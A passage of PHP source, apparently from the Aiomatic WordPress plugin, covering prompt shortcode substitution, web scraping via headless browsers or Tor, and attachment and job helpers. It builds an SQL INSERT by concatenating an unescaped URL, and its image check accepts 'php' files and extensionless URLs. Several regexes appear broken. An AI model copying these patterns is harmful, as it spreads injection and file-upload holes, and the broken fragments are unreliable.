'https://i.ibb.co/bdpSQhT/392530-add-create-cross-new-plus-icon.png', 'extra_class' => 'aiomatic-new-extension-box', 'description' => '', 'enabled' => 1, ); return $list; } function aiomatic_replace_omniblocks_data($prompt, $current_keyword, $kiwis, $block_results) { $matches = array(); $i = 0; preg_match_all('~%regex\(\s*\"([^"]+?)\s*"\s*[,;]\s*\"([^"]*)\"\s*(?:[,;]\s*\"([^"]*?)\s*\")?(?:[,;]\s*\"([^"]*?)\s*\")?(?:[,;]\s*\"([^"]*?)\s*\")?\)%~si', $prompt, $matches); if (is_array($matches) && count($matches) && is_array($matches[0])) { for($i = 0; $i < count($matches[0]); $i++) { if (isset($matches[0][$i])) $fullmatch = $matches[0][$i]; if (isset($matches[1][$i])) $search_in = aiomatic_replace_omniblocks_data($matches[1][$i], $current_keyword, $kiwis, $block_results); if (isset($matches[2][$i])) $matchpattern = $matches[2][$i]; if (isset($matches[3][$i])) $element = $matches[3][$i]; if (isset($matches[4][$i])) $delimeter = $matches[4][$i];if (isset($matches[5][$i])) $counter = $matches[5][$i]; if (isset($matchpattern)) { if (preg_match('<^[\/#%+~[\]{}][\s\S]*[\/#%+~[\]{}]$>', $matchpattern, $z)) { $ret = preg_match_all($matchpattern, $search_in, $submatches, PREG_PATTERN_ORDER); } else { $ret = preg_match_all('~'.$matchpattern.'~si', $search_in, $submatches, PREG_PATTERN_ORDER); } } if (isset($submatches)) { if (is_array($submatches)) { $empty_elements = array_keys($submatches[0], ""); foreach ($empty_elements as $e) { unset($submatches[0][$e]); } $submatches[0] = array_unique($submatches[0]); if (!is_numeric($element)) { $element = 0; }if (!is_numeric($counter)) { $counter = 0; } if(isset($submatches[(int)($element)])) { $matched = $submatches[(int)($element)]; } else { $matched = ''; } $matched = array_unique((array)$matched); if (empty($delimeter) || $delimeter == 'null') { if (isset($matched[$counter])) $matched = $matched[$counter]; } else { $matched = implode($delimeter, $matched); } if (empty($matched)) { $prompt = str_replace($fullmatch, '', $prompt); } else { $prompt = str_replace($fullmatch, $matched, $prompt); } } } } } preg_match_all('~%regextext\(\s*\"([^"]+?)\s*"\s*,\s*\"([^"]*)\"\s*(?:,\s*\"([^"]*?)\s*\")?(?:,\s*\"([^"]*?)\s*\")?(?:,\s*\"([^"]*?)\s*\")?\)%~si', $prompt, $matches); if (is_array($matches) && count($matches) && is_array($matches[0])) { for($i = 0; $i < count($matches[0]); $i++) { if (isset($matches[0][$i])) $fullmatch = $matches[0][$i]; if (isset($matches[1][$i])) $search_in = aiomatic_replace_omniblocks_data($matches[1][$i], $current_keyword, $kiwis, $block_results); if (isset($matches[2][$i])) $matchpattern = $matches[2][$i]; if (isset($matches[3][$i])) $element = $matches[3][$i]; if (isset($matches[4][$i])) $delimeter = $matches[4][$i];if (isset($matches[5][$i])) $counter = $matches[5][$i]; $search_in = strip_tags($search_in, '


            '); $search_in1 = preg_replace("/]*?>/", "", $search_in); if($search_in1 !== null) { $search_in = $search_in1; } $search_in = str_replace("

            ", "
            ", $search_in); $search_in1 = preg_replace('/\/i', "\r\n\r\n", $search_in); if($search_in1 !== null) { $search_in = $search_in1; } $search_in1 = preg_replace('/^(?:\r|\n|\r\n)+/', '', $search_in); if($search_in1 !== null) { $search_in = $search_in1; } if (isset($matchpattern)) { if (preg_match('<^[\/#%+~[\]{}][\s\S]*[\/#%+~[\]{}]$>', $matchpattern, $z)) { $ret = preg_match_all($matchpattern, $search_in, $submatches, PREG_PATTERN_ORDER); } else { $ret = preg_match_all('~'.$matchpattern.'~si', $search_in, $submatches, PREG_PATTERN_ORDER); } } if (isset($submatches)) { if (is_array($submatches)) { $empty_elements = array_keys($submatches[0], ""); foreach ($empty_elements as $e) { unset($submatches[0][$e]); } $submatches[0] = array_unique($submatches[0]); if (!is_numeric($element)) { $element = 0; }if (!is_numeric($counter)) { $counter = 0; } if(isset($submatches[(int)($element)])) { $matched = $submatches[(int)($element)]; } else { $matched = ''; } $matched = array_unique((array)$matched); if (empty($delimeter) || $delimeter == 'null') { if (isset($matched[$counter])) $matched = $matched[$counter]; } else { $matched = implode($delimeter, $matched); } if (empty($matched)) { $prompt = str_replace($fullmatch, '', $prompt); } else { $prompt = str_replace($fullmatch, $matched, $prompt); } } } } } $spintax = new Aiomatic_Spintax(); $prompt = $spintax->process($prompt); $pcxxx = explode('', $prompt); $prompt = $pcxxx[array_rand($pcxxx)]; $prompt = str_replace('%%random_sentence%%', aiomatic_random_sentence_generator(), $prompt); $prompt = str_replace('%%random_sentence2%%', aiomatic_random_sentence_generator(false), $prompt); $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (isset($aiomatic_Main_Settings['custom_html'])) { $xspintax = html_entity_decode($aiomatic_Main_Settings['custom_html']); $xspintax = $spintax->process($xspintax); $prompt = str_replace('%%custom_html%%', $xspintax, $prompt); } else { $prompt = str_replace('%%custom_html%%', '', $prompt); } if (isset($aiomatic_Main_Settings['custom_html2'])) { $xspintax2 = html_entity_decode($aiomatic_Main_Settings['custom_html2']); $xspintax2 = $spintax->process($xspintax2); $prompt = str_replace('%%custom_html2%%', $xspintax2, $prompt); } else { $prompt = str_replace('%%custom_html2%%', '', $prompt); } $prompt = str_replace('%%keyword%%', $current_keyword, $prompt); if(is_array($kiwis)) { foreach($kiwis as $kws => $data) { $expdata = explode(',', $data); $expdata = trim($expdata[array_rand($expdata)]); $prompt = str_replace('%%' . $kws . '%%', $expdata, $prompt); } } if(is_array($block_results)) { foreach($block_results as $blid => $block) { if(is_array($block) && isset($block[1])) { if(isset($block[1])) { if(is_string($block[1])) { $prompt = str_replace('%%output_' . $blid . '%%', $block[1], $prompt); $prompt = str_replace('%%output-' . $blid . '%%', $block[1], $prompt); } } else { $prompt = str_replace('%%output_' . $blid . '%%', '', $prompt); $prompt = str_replace('%%output-' . $blid . '%%', '', $prompt); } if($block[0] == 'ai_text') { $prompt = str_replace('%%ai_text_' . $blid . '%%', $block[1], $prompt); } elseif($block[0] == 'ai_text_foreach') { $prompt = str_replace('%%ai_text_foreach_' . $blid . '%%', $block[1], $prompt); } elseif($block[0] == 'dalle_ai_image') { $prompt = str_replace('%%dalle_image_' . $blid . '%%', $block[1], $prompt); } elseif($block[0] == 'royalty_image') { $prompt = str_replace('%%free_image_' . $blid . '%%', $block[1], $prompt); } elseif($block[0] == 'stable_ai_image') { $prompt = str_replace('%%stability_image_' . $blid . '%%', $block[1], $prompt); } elseif($block[0] == 'midjourney_ai_image') { $prompt = str_replace('%%midjourney_image_' . $blid . '%%', $block[1], $prompt); } elseif($block[0] == 'stable_ai_video') { $prompt = str_replace('%%stability_video_' . $blid . '%%', $block[1], $prompt); } elseif($block[0] == 'tts_openai') { $prompt = str_replace('%%audio_url_' . $blid . '%%', $block[1], $prompt); } elseif($block[0] == 'nlp_entities_neuron') { $prompt = str_replace('%%entities_title_' . $blid . '%%', $block[1], $prompt); $prompt = str_replace('%%entities_description_' . $blid . '%%', $block[2], $prompt); $prompt = str_replace('%%entities_h1_' . $blid . '%%', $block[3], $prompt); $prompt = str_replace('%%entities_h2_' . $blid . '%%', $block[4], $prompt); $prompt = str_replace('%%entities_content_basic_' . $blid . '%%', $block[5], $prompt); $prompt = str_replace('%%entities_content_basic_with_ranges_' . $blid . '%%', $block[6], $prompt); $prompt = str_replace('%%entities_content_extended_' . $blid . '%%', $block[7], $prompt); $prompt = str_replace('%%entities_content_extended_with_ranges_' . $blid . '%%', $block[8], $prompt); $prompt = str_replace('%%entities_list_' . $blid . '%%', $block[8], $prompt); } elseif($block[0] == 'nlp_entities') { $prompt = str_replace('%%entities_' . $blid . '%%', $block[1], $prompt); $prompt = str_replace('%%entities_details_json_' . $blid . '%%', $block[2], $prompt); } elseif($block[0] == 'webhook_fire') { if(is_array($block[1])) { foreach($block[1] as $wkey => $wdata) { $prompt = str_replace('%%webhook_data_' . $blid . '_' . $wkey . '%%', $wdata, $prompt); } $prompt = str_replace('%%webhook_data_' . $blid . '%%', json_encode($block[1]), $prompt); } else { $prompt = str_replace('%%webhook_data_' . $blid . '%%', $block[1], $prompt); } } elseif($block[0] == 'crawl_sites') { $prompt = str_replace('%%scraped_content_' . $blid . '%%', $block[1], $prompt); $prompt = str_replace('%%scraped_content_plain_' . $blid . '%%', wp_strip_all_tags($block[1]), $prompt); } elseif($block[0] == 'crawl_rss') { $prompt = str_replace('%%rss_content_' . $blid . '%%', $block[1], $prompt); } elseif($block[0] == 'google_search') { $prompt = str_replace('%%search_result_' . $blid . '%%', $block[1], $prompt); } elseif($block[0] == 'text_translate') { $prompt = str_replace('%%translated_' . $blid . '%%', $block[1], $prompt); } elseif($block[0] == 'text_spinner') { $prompt = str_replace('%%spun_' . $blid . '%%', $block[1], $prompt); } elseif($block[0] == 'embeddings') { $prompt = str_replace('%%embeddings_' . $blid . '%%', $block[1], $prompt); } elseif($block[0] == 'youtube_video') { $prompt = str_replace('%%video_url_' . $blid . '%%', $block[1], $prompt); $prompt = str_replace('%%video_embed_' . $blid . '%%', $block[2], $prompt); } elseif($block[0] == 'post_import') { $prompt = str_replace('%%post_id_' . $blid . '%%', $block[1], $prompt); $prompt = str_replace('%%post_url_' . $blid . '%%', $block[2], $prompt); $prompt = str_replace('%%post_title_' . $blid . '%%', $block[3], $prompt); $prompt = str_replace('%%post_content_' . $blid . '%%', $block[4], $prompt); $prompt = str_replace('%%post_excerpt_' . $blid . '%%', $block[5], $prompt); $prompt = str_replace('%%post_categories_' . $blid . '%%', $block[6], $prompt); $prompt = str_replace('%%post_tags_' . $blid . '%%', $block[7], $prompt); $prompt = str_replace('%%post_author_' . $blid . '%%', $block[8], $prompt); $prompt = str_replace('%%post_date_' . $blid . '%%', $block[9], $prompt); $prompt = str_replace('%%post_status_' . $blid . '%%', $block[10], $prompt); $prompt = str_replace('%%post_type_' . $blid . '%%', $block[11], $prompt); $prompt = str_replace('%%post_image_' . $blid . '%%', $block[12], $prompt); } elseif($block[0] == 'random_line') { $prompt = str_replace('%%random_line_' . $blid . '%%', $block[1], $prompt); } elseif($block[0] == 'youtube_caption') { $prompt = str_replace('%%video_caption_' . $blid . '%%', $block[1], $prompt); $prompt = str_replace('%%video_title_' . $blid . '%%', $block[2], $prompt); $prompt = str_replace('%%video_description_' . $blid . '%%', $block[3], $prompt); $prompt = str_replace('%%video_thumb_' . $blid . '%%', $block[4], $prompt); } elseif($block[0] == 'amazon_product') { $prompt = str_replace('%%product_title_' . $blid . '%%', $block[1], $prompt); $prompt = str_replace('%%product_description_' . $blid . '%%', $block[2], $prompt); $prompt = str_replace('%%product_url_' . $blid . '%%', $block[3], $prompt); $prompt = str_replace('%%product_price_' . $blid . '%%', $block[4], $prompt); $prompt = str_replace('%%product_list_price_' . $blid . '%%', $block[5], $prompt); $prompt = str_replace('%%product_image_' . $blid . '%%', $block[6], $prompt); $prompt = str_replace('%%product_cart_url_' . $blid . '%%', $block[7], $prompt); $prompt = str_replace('%%product_images_urls_' . $blid . '%%', $block[8], $prompt); $prompt = str_replace('%%product_images_' . $blid . '%%', $block[9], $prompt); $prompt = str_replace('%%product_reviews_' . $blid . '%%', $block[10], $prompt); $prompt = str_replace('%%product_reviews_' . $blid . '%%', $block[10], $prompt); //new $prompt = str_replace('%%product_score_' . $blid . '%%', $block[11], $prompt); $prompt = str_replace('%%product_language_' . $blid . '%%', $block[12], $prompt); $prompt = str_replace('%%product_edition_' . $blid . '%%', $block[13], $prompt); $prompt = str_replace('%%product_pages_count_' . $blid . '%%', $block[14], $prompt); $prompt = str_replace('%%product_publication_date_' . $blid . '%%', $block[15], $prompt); $prompt = str_replace('%%product_contributors_' . $blid . '%%', $block[16], $prompt); $prompt = str_replace('%%product_manufacturer_' . $blid . '%%', $block[17], $prompt); $prompt = str_replace('%%product_binding_' . $blid . '%%', $block[18], $prompt); $prompt = str_replace('%%product_product_group_' . $blid . '%%', $block[19], $prompt); $prompt = str_replace('%%product_rating_' . $blid . '%%', $block[20], $prompt); $prompt = str_replace('%%product_eans_' . $blid . '%%', $block[21], $prompt); $prompt = str_replace('%%product_part_no_' . $blid . '%%', $block[22], $prompt); $prompt = str_replace('%%product_model_' . $blid . '%%', $block[23], $prompt); $prompt = str_replace('%%product_warranty_' . $blid . '%%', $block[24], $prompt); $prompt = str_replace('%%product_color_' . $blid . '%%', $block[25], $prompt); $prompt = str_replace('%%product_is_adult_' . $blid . '%%', $block[26], $prompt); $prompt = str_replace('%%product_dimensions_' . $blid . '%%', $block[27], $prompt); $prompt = str_replace('%%product_date_' . $blid . '%%', $block[28], $prompt); $prompt = str_replace('%%product_size_' . $blid . '%%', $block[29], $prompt); $prompt = str_replace('%%product_unit_count_' . $blid . '%%', $block[30], $prompt); } elseif($block[0] == 'amazon_listing') { $prompt = str_replace('%%product_listing_' . $blid . '%%', $block[1], $prompt); } elseif($block[0] == 'load_file') { if(is_array($block[1])) { preg_match_all('#%%xlsx_' . preg_quote($blid) . '_(\d+)_(\d+)%%#i', $prompt, $mmatch); if(isset($mmatch[1][0])) { $cnt = 0; for($cnt = 0; $cnt < count($mmatch[1]); $cnt++) { if(isset($mmatch[2][$cnt])) { if(isset($block[1][$mmatch[1][$cnt]-1][$mmatch[2][$cnt]-1])) { $prompt = str_replace('%%xlsx_' . $blid . '_' . $mmatch[1][$cnt] . '_' . $mmatch[2][$cnt] . '%%', $block[1][$mmatch[1][$cnt]-1][$mmatch[2][$cnt]-1], $prompt); } } $prompt = str_replace('%%xlsx_' . $blid . '_' . $mmatch[1][$cnt] . '_' . $mmatch[2][$cnt] . '%%', '', $prompt); } } preg_match_all('#%%xlsx_' . preg_quote($blid) . '_row_(\d+)%%#i', $prompt, $mmatch); if(isset($mmatch[1][0])) { $cnt = 0; for($cnt = 0; $cnt < count($mmatch[1]); $cnt++) { if(isset($block[1][$mmatch[1][$cnt]-1][0])) { $row_data = ''; foreach($block[1][$mmatch[1][$cnt]-1] as $rowme) { $row_data .= $rowme . ' '; } $prompt = str_replace('%%xlsx_' . $blid . '_row_' . $mmatch[1][$cnt] . '%%', $row_data, $prompt); } $prompt = str_replace('%%xlsx_' . $blid . '_row_' . $mmatch[1][$cnt] . '%%', '', $prompt); } } preg_match_all('#%%xlsx_' . preg_quote($blid) . '_column_(\d+)%%#i', $prompt, $mmatch); if(isset($mmatch[1][0])) { $cnt = 0; for($cnt = 0; $cnt < count($mmatch[1]); $cnt++) { if(isset($block[1][0][$mmatch[1][$cnt]-1])) { $column_data = ''; for($xm = 0; $xm < count($block[1]); $xm++) { if(isset($block[1][$xm][$mmatch[1][$cnt]-1])) { $column_data .= $block[1][$xm][$mmatch[1][$cnt]-1] . ' '; } } $prompt = str_replace('%%xlsx_' . $blid . '_column_' . $mmatch[1][$cnt] . '%%', $column_data, $prompt); } $prompt = str_replace('%%xlsx_' . $blid . '_column_' . $mmatch[1][$cnt] . '%%', '', $prompt); } } preg_match_all('#%%xlsx_' . preg_quote($blid) . '_row_random%%#i', $prompt, $mmatch); if(isset($mmatch[0][0])) { $row_data = ''; $init_arr = $block[1]; while($row_data == '' && !empty($init_arr)) { $cnt = array_rand($init_arr); if(isset($init_arr[$cnt][0])) { foreach($init_arr[$cnt] as $rowme) { $row_data .= $rowme . ' '; } } unset($init_arr[$cnt]); } $prompt = str_replace('%%xlsx_' . $blid . '_row_random%%', $row_data, $prompt); } preg_match_all('#%%xlsx_' . preg_quote($blid) . '_row_random_check%%#i', $prompt, $mmatch); if(isset($mmatch[0][0])) { $row_data = ''; $init_arr = $block[1]; while($row_data == '' && !empty($init_arr)) { $cnt = array_rand($init_arr); if(isset($init_arr[$cnt][0])) { foreach($init_arr[$cnt] as $rowme) { $row_data .= $rowme . ' '; } } unset($init_arr[$cnt]); if($row_data !== '') { $post_types = get_post_types(array('public' => true), 'names'); $axargs = array( 'post_type' => $post_types, 'post_status' => 'publish', 'posts_per_page' => -1, 'title' => $row_data, 'fields' => 'ids', ); $zsposts = get_posts($axargs); if (!empty($zsposts)) { $row_data = ''; } } } $prompt = str_replace('%%xlsx_' . $blid . '_row_random_check%%', $row_data, $prompt); } $prompt = str_replace('%%file_' . $blid . '%%', '', $prompt); } else { $prompt = str_replace('%%file_' . $blid . '%%', $block[1], $prompt); } } elseif($block[0] == 'save_post') { $prompt = str_replace('%%created_post_id_' . $blid . '%%', $block[1], $prompt); $prompt = str_replace('%%created_post_url_' . $blid . '%%', $block[2], $prompt); } elseif($block[0] == 'send_email') { } elseif($block[0] == 'send_facebook') { } elseif($block[0] == 'save_file') { } elseif($block[0] == 'send_twitter') { } elseif($block[0] == 'send_gmb') { } elseif($block[0] == 'send_community_youtube') { } elseif($block[0] == 'send_linkedin') { } elseif($block[0] == 'send_reddit') { } elseif($block[0] == 'send_webhook') { } elseif($block[0] == 'god_mode') { $prompt = str_replace('%%god_mode_' . $blid . '%%', $block[1], $prompt); } elseif($block[0] == 'send_image_facebook') { } elseif($block[0] == 'send_image_instagram') { } elseif($block[0] == 'send_image_pinterest') { } elseif($block[0] == 'if_block') { } elseif($block[0] == 'exit_block') { } elseif($block[0] == 'jump_block') { } else { aiomatic_log_to_file('Unknown OmniBlock type submitted: ' . $block[0]); } } } } if ( is_user_logged_in() ) { $user_id = get_current_user_id(); if($user_id !== 0) { preg_match_all('#%%~([^!]*?)~%%#', $prompt, $matched_content); if(isset($matched_content[1][0])) { foreach($matched_content[1] as $mc) { $post_custom_data = get_user_meta($user_id, $mc, true); if($post_custom_data != '') { $prompt = str_replace('%%~' . $mc . '~%%', $post_custom_data, $prompt); } else { $prompt = str_replace('%%~' . $mc . '~%%', '', $prompt); } } } } else { preg_match_all('#%%~([^!]*?)~%%#', $prompt, $matched_content); if(isset($matched_content[1][0])) { foreach($matched_content[1] as $mc) { $prompt = str_replace('%%~' . $mc . '~%%', '', $prompt); } } } } else { preg_match_all('#%%~([^!]*?)~%%#', $prompt, $matched_content); if(isset($matched_content[1][0])) { foreach($matched_content[1] as $mc) { $prompt = str_replace('%%~' . $mc . '~%%', '', $prompt); } } } $prompt = preg_replace_callback('#%%random_image_url\[([^\]]*?)\]%%#', function ($matches) { $arv = array(); $my_img = aiomatic_get_random_image_google($matches[1], 0, 0, '', $arv); return $my_img; }, $prompt); $prompt = preg_replace_callback('#%%random_image\[([^\]]*?)\](\[\d+\])?%%#', function ($matches) { if(isset($matches[2])) { $chance = trim($matches[2], '[]'); } else { $chance = ''; } $arv = array(); $my_img = aiomatic_get_random_image_google($matches[1], 0, 0, $chance, $arv); return ''; }, $prompt); $prompt = preg_replace_callback('#%%random_video\[([^\]]*?)\](\[\d+\])?%%#', function ($matches) { if(isset($matches[2])) { $chance = trim($matches[2], '[]'); } else { $chance = ''; } $my_vid = aiomoatic_get_video($matches[1], $chance); return $my_vid; }, $prompt); $prompt = str_replace('%%current_date_time%%', date('Y/m/d H:i:s'), $prompt); $prompt = aiomatic_replaceSynergyShortcodes($prompt); $prompt = apply_filters('aiomatic_replace_aicontent_shortcode', $prompt); preg_match_all('#%%related_questions_([^%]*?)%%#i', $prompt, $mxatches); if(isset($mxatches[1][0])) { foreach($mxatches[1] as $googlematch) { $mtchres = aiomatic_scrape_related_questions($googlematch, 5, '', 1, 1, 0, 0, 2000, '', ''); if(is_array($mtchres) && !empty($mtchres)) { $quests = array(); foreach($mtchres as $mra) { $quests[] = $mra['q']; } $mtchres = implode(',', $quests); } $prompt = str_ireplace('%%related_questions_' . $googlematch . '%%', $mtchres, $prompt); } } if (!isset($aiomatic_Main_Settings['no_omni_shortcode_render']) || $aiomatic_Main_Settings['no_omni_shortcode_render'] != 'on') { if(stristr($prompt, 'aiomatic_charts') === false) { $prompt = do_shortcode($prompt); } } return trim($prompt); } function aiomatic_removeDuplicateNewLines($string) { return preg_replace("/[\r\n]+/", "\n", $string); } function aiomatic_scrape_page($url, $use_phantom, $type, $getname) { require_once (dirname(__FILE__) . "/aiomatic-scraper.php"); $custom_user_agent = aiomatic_get_random_user_agent(); $custom_cookies = ''; $use_proxy = '1'; $user_pass = ''; $phantom_wait = ''; $request_delay = ''; $scripter = ''; $local_storage = ''; $auto_captcha = ''; $enable_adblock = ''; $clickelement = ''; $post_fields = ''; $html_cont = false; $got_phantom = false; if($use_phantom == '1') { $html_cont = aiomatic_get_page_PhantomJS($url, $custom_cookies, $custom_user_agent, $use_proxy, $user_pass, $phantom_wait, $request_delay, $scripter, $local_storage); if($html_cont !== false) { $got_phantom = true; } } elseif($use_phantom == '2') { $html_cont = aiomatic_get_page_Puppeteer($url, $custom_cookies, $custom_user_agent, $use_proxy, $user_pass, $phantom_wait, $request_delay, $scripter, $local_storage); if($html_cont !== false) { $got_phantom = true; } } elseif($use_phantom == '3') { $html_cont = aiomatic_get_page_Tor($url, $custom_cookies, $custom_user_agent, $use_proxy, $user_pass, $phantom_wait, $request_delay, $scripter, $local_storage); if($html_cont !== false) { $got_phantom = true; } } elseif($use_phantom == '4') { $html_cont = aiomatic_get_page_PuppeteerAPI($url, $custom_cookies, $custom_user_agent, $use_proxy, $user_pass, $phantom_wait, $request_delay, $scripter, $local_storage, $auto_captcha, $enable_adblock, $clickelement); if($html_cont !== false) { $got_phantom = true; } } elseif($use_phantom == '5') { $html_cont = aiomatic_get_page_TorAPI($url, $custom_cookies, $custom_user_agent, $use_proxy, $user_pass, $phantom_wait, $request_delay, $scripter, $local_storage, $auto_captcha, $enable_adblock, $clickelement); if($html_cont !== false) { $got_phantom = true; } } elseif($use_phantom == '6') { $html_cont = aiomatic_get_page_PhantomJSAPI($url, $custom_cookies, $custom_user_agent, $use_proxy, $user_pass, $phantom_wait, $request_delay, $scripter, $local_storage); if($html_cont !== false) { $got_phantom = true; } } if($got_phantom === false) { $html_cont = aiomatic_get_web_page($url, $custom_cookies, $custom_user_agent, $use_proxy, $user_pass, '', $post_fields, $request_delay); } if($html_cont === false) { aiomatic_log_to_file('Failed to scrape content for: ' . $url); return false; } if($type == 'raw') { return $html_cont; } $ret_cont = ''; if($getname == '' || $type == 'auto') { $extract = aiomatic_convert_readable_html($html_cont); if($extract == '' || !isset($extract[1])) { aiomatic_log_to_file('Empty string returned: ' . $url); return false; } else { $ret_cont = $extract[1]; } } else { $extractorstr = ''; $list_getname = preg_split('/\r\n|\r|\n/', $getname); foreach($list_getname as $my_getname) { $extractorstr .= aiomatic_get_content($type, $my_getname, $html_cont, false, false); if(!empty($extractorstr)) { $extractorstr .= ' '; } } $ret_cont = $extractorstr; if($ret_cont == '') { $extract = aiomatic_convert_readable_html($html_cont); if($extract != '') { $ret_cont = $extract[1]; } } } return $ret_cont; } use fivefilters\Readability\Readability; use fivefilters\Readability\Configuration; function aiomatic_convert_readable_html($html_string) { try { if (version_compare(PHP_VERSION, '7.3.0', '<')) { throw new Exception('PHP is older than 7.3'); } require_once (dirname(__FILE__) . "/res/readability/ReadabilityExtension.php"); if(!class_exists('\fivefilters\Readability\Readability')) { require_once (dirname(__FILE__) . '/res/readability/vendor/autoload.php'); require_once (dirname(__FILE__) . "/res/readability/Readability.php"); require_once (dirname(__FILE__) . "/res/readability/ParseException.php"); require_once (dirname(__FILE__) . "/res/readability/Configuration.php"); require_once (dirname(__FILE__) . "/res/readability/Nodes/NodeUtility.php"); require_once (dirname(__FILE__) . "/res/readability/Nodes/NodeTrait.php"); require_once (dirname(__FILE__) . "/res/readability/Nodes/DOM/DOMAttr.php"); require_once (dirname(__FILE__) . "/res/readability/Nodes/DOM/DOMNodeList.php"); require_once (dirname(__FILE__) . "/res/readability/Nodes/DOM/DOMCdataSection.php"); require_once (dirname(__FILE__) . "/res/readability/Nodes/DOM/DOMCharacterData.php"); require_once (dirname(__FILE__) . "/res/readability/Nodes/DOM/DOMComment.php"); require_once (dirname(__FILE__) . "/res/readability/Nodes/DOM/DOMDocument.php"); require_once (dirname(__FILE__) . "/res/readability/Nodes/DOM/DOMDocumentFragment.php"); require_once (dirname(__FILE__) . "/res/readability/Nodes/DOM/DOMDocumentType.php"); require_once (dirname(__FILE__) . "/res/readability/Nodes/DOM/DOMElement.php"); require_once (dirname(__FILE__) . "/res/readability/Nodes/DOM/DOMEntity.php"); require_once (dirname(__FILE__) . "/res/readability/Nodes/DOM/DOMEntityReference.php"); require_once (dirname(__FILE__) . "/res/readability/Nodes/DOM/DOMNode.php"); require_once (dirname(__FILE__) . "/res/readability/Nodes/DOM/DOMNotation.php"); require_once (dirname(__FILE__) . "/res/readability/Nodes/DOM/DOMProcessingInstruction.php"); require_once (dirname(__FILE__) . "/res/readability/Nodes/DOM/DOMText.php"); } $readConf = new Configuration(); $readConf->setSummonCthulhu(true); $readability = new Readability($readConf); $readability->parse($html_string); $return_me[0] = $readability->getTitle(); $return_me[1] = $readability->getContent(); if($return_me[0] == '' || $return_me[0] == null || $return_me[1] == '' || $return_me[1] == null) { throw new Exception('Content/title blank ' . print_r($return_me, true)); } $return_me[1] = str_replace('', '', $return_me[1]); $return_me[1] = str_replace('
            ', '', $return_me[1]); return $return_me; } catch (Exception $e) { try { require_once (dirname(__FILE__) . "/res/aiomatic-readability.php"); $readability = new Readability2($html_string); $readability->debug = false; $readability->convertLinksToFootnotes = false; $result = $readability->init(); if ($result) { $return_me[0] = $readability->getTitle()->innerHTML; $return_me[1] = $readability->getContent()->innerHTML; $return_me[1] = str_replace('
            ', '', $return_me[1]); $return_me[1] = str_replace('
            ', '', $return_me[1]); return $return_me; } else { return ''; } } catch(Exception $e2) { aiomatic_log_to_file('Readability failed: ' . sprintf('Error processing text: %s', $e2->getMessage())); return ''; } } } function aiomatic_increment(&$string) { $last_char = substr($string, -1); $rest = substr($string, 0, -1); switch ($last_char) { case '': $next = 'a'; break; case 'z': $next = 'A'; break; case 'Z': $next = '0'; break; case '9': aiomatic_increment($rest); $next = 'a'; break; default: $next = ++$last_char; } $string = $rest . $next; } function aiomatic_insert_attachment_by($value) { global $wpdb; $wpdb->get_results(" INSERT INTO " . $wpdb->prefix . "posts" . " (post_author, guid, post_title, post_mime_type, post_type, post_status, post_parent, post_date, post_date_gmt, post_modified, post_modified_gmt, post_content, post_excerpt, to_ping, pinged, post_content_filtered) VALUES " . $value); return $wpdb->insert_id; } function aiomatic_get_formatted_value($url, $alt, $post_parent) { return "(77777, '" . $url . "', '" . str_replace("'", "", $alt) . "', 'image/jpeg', 'attachment', 'inherit', '" . $post_parent . "', now(), now(), now(), now(), '', '', '', '', '')"; } function aiomatic_url_is_image( $url ) { $url = str_replace(' ', '%20', $url); if ( ! filter_var( $url, FILTER_VALIDATE_URL ) ) { return FALSE; } $ext = array( 'jpeg', 'jpg', 'gif', 'png', 'jpe', 'tif', 'tiff', 'svg', 'ico' , 'webp', 'dds', 'heic', 'psd', 'pspimage', 'tga', 'thm', 'yuv', 'ai', 'eps', 'php'); $info = (array) pathinfo( parse_url( $url, PHP_URL_PATH ) ); if(!isset( $info['extension'] )) { return true; } return isset( $info['extension'] ) && in_array( strtolower( $info['extension'] ), $ext, TRUE ); } function aiomatic_custom_vision_upload_dir( $dir ) { return array( 'path' => $dir['basedir'] . '/ai-vision-images', 'url' => $dir['baseurl'] . '/ai-vision-images', 'subdir' => '/ai-vision-images', ) + $dir; } function aiomatic_fatal_clear_job($job_id) { $error = error_get_last(); if ($error !== null && ($error['type'] === E_ERROR || $error['type'] === E_PARSE || $error['type'] === E_CORE_ERROR || $error['type'] === E_COMPILE_ERROR || $error['type'] === E_USER_ERROR)) { aiomatic_job_set_status_failed($job_id, 'Job halted because of PHP error!'); } } function aiomatic_job_set_status_pending($job_id, $data = array()) { if(strstr($job_id, 'job_') !== false) { delete_transient("aiomatic_job_" . $job_id . "_status"); set_transient("aiomatic_job_" . $job_id . "_status", array('status' => 'pending', 'data' => $data), 24 * 60 * 60); } } function aiomatic_job_set_status_completed($job_id, $data) { delete_transient("aiomatic_job_" . $job_id . "_status"); set_transient("aiomatic_job_" . $job_id . "_status", array('status' => 'completed', 'data' => $data), 24 * 60 * 60); } function aiomatic_job_set_status_failed($job_id, $error) { delete_transient("aiomatic_job_" . $job_id . "_status"); set_transient("aiomatic_job_" . $job_id . "_status", array('status' => 'failed', 'data' => $error), 24 * 60 * 60); } function aiomatic_job_get_status($job_id) { $status = get_transient("aiomatic_job_" . $job_id . "_status"); if(isset($status['status']) && $status['status'] == 'completed') { delete_transient("aiomatic_job_" . $job_id . "_status"); } return $status; } function aiomatic_extract_text_chars($text, $getLast = true, $limit = 500) { $textLength = strlen($text); if ($textLength <= $limit) { return $text; } else { if ($getLast) { $last = substr($text, -$limit); return $last; } else { $first = substr($text, 0, $limit); return $first; } } } function aiomatic_extract_paragraph($html, $getLast = true, $maxChars = 500) { $text = trim(strip_tags($html)); if ($getLast) { if (preg_match_all('/]*>(.*?)<\/p>/is', $html, $matches)) { $lastParagraph = end($matches[1]); $lastParagraph = trim(strip_tags($lastParagraph)); $lastParagraph = substr($lastParagraph, 0, $maxChars); return $lastParagraph; } } else { if (preg_match_all('/]*>(.*?)<\/p>/is', $html, $matches)) { $firstParagraph = reset($matches[1]); $firstParagraph = trim(strip_tags($firstParagraph)); $firstParagraph = substr($firstParagraph, 0, $maxChars); return $firstParagraph; } } if ($getLast) { return substr($text, -min($maxChars, strlen($text))); } else { return substr($text, 0, min($maxChars, strlen($text))); } } function aiomatic_format_function_params($params) { $formattedParams = array(); if(!is_array($params)) { $params = array($params); } foreach ($params as $key => $value) { if (is_string($value)) { $formattedParams[] = "$key => '" . addslashes($value) . "'"; } elseif (is_array($value)) { $formattedParams[] = "$key => [" . aiomatic_format_function_params($value) . "]"; } elseif (is_object($value)) { $formattedParams[] = "$key => '" . json_encode($value) . "'"; } elseif (is_null($value)) { $formattedParams[] = "$key => null"; } elseif (is_bool($value)) { $formattedParams[] = $value ? "$key => true" : "$key => false"; } else { 